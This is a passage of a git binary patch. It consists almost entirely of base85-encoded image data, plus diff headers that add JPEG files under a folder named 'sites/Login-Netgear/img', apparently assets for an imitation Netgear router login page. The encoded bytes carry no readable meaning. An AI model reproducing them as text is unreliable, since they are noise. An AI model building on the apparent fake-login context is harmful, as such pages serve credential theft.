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 aFICw>RfSPi6$v$UFE#Ci^8$0q=6?acI8U_z literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/genie_learn_more_ap.jpg b/sites/Login-Netgear/img/genie_learn_more_ap.jpg new file mode 100644 index 0000000000000000000000000000000000000000..20b8e53fa4b6d524eb4f19a8faf6f09b71b87299 GIT binary patch literal 41508 zcmeFYWmsICoBpf_40xUEP47fOO6o3v*hQTVT;z-VhY4|=ar@Cv39gUP_ zQ%uzye14cyI$lp02A&>LT`Ngz2D7Sly(zv$A1v@rdLM`wT0{{sL&IK0kUzLZ* zVS7WyN{ZfvCaQu#t|}6nUDfIM-U$=jMhHk~XjpJV0Z`9n1JKD>MbA|X9nrwWl8PvU zOJ;dQ@{|#Qm%cwn2 zqY`?pOYr?~)c*vLpy;@=060Nb|3vsZ-08}JUb+yVO#o#1JM}+c$kM&9Qzr@`d*_j} z|AF#%Fk+r6A3AO}CuC$JpW&OoWBdaKhYLj9`o4@DyAbZ285gy(BJvN!zrqmN_&GBX zo$A;j2~upCNG*S5`~%_vl$P*6so>Zq%foM;eo<@9^bf?p!f4UbpqD#atYW5ojy6{P z6qbygelFdZs|)^&kzHF?9X|{lCB*+xkjH-A-qwapMX$ry^h- zB!b_dlej$p`$oV2!u(f+6>Tt(4G%3?f-H70Y2$1vSs&G6Gl75{jL@$s`!o z%#tJZ;mK(r`h)U^k1bhh7g+TigQMakHKB?hlBm&UNR*?BA1Bh^qwxbPAR;3Z)BrHD z;#^eIm=M>Wb$i6P&!2HUUj_gNCf?*T>CeJ*QIIKeko^py;JAxC`@(`>T*Ee=Ln_oc z=JII(h+;}iUu6OOR0rLRsjS#9RgUC84q@LwXqnOgoa43I{hqmh5)`#pjEae`U_rD1 zT*OW-jOf2)j6&qRyw?tZD9D#sUjjg&?K0fp_?=tO2=a@%Axrq%`+avdwqf@BQ=Y$q zJ5v4&i_u;l-0W@uC=l(K+WOe&rnw6M_x<&thoB$ogt_alUI6eajIT3|XG7#snj9zq z0F&`DEwmN%$g!n7@0aDA)6$x!qKfxm2W_+eza^lk`BD)83o_ac`UU~m{eCt@l3Z6o znUj#beW+Aj?S!3YB2ZV0t1=tU36WVjANVpR0TwbueDop!o}dY{w0I=56g3)Yo!Y3( z>w9P8xG&;SCySlWY_QCs7^wx=@ul+o76mvZm;lETXF`KF>_`DtW^LARBHZHO(g2o{ z(!{0o|j`J#%$;|BLkOz;QB-xvU|QCoV>YaPqV6 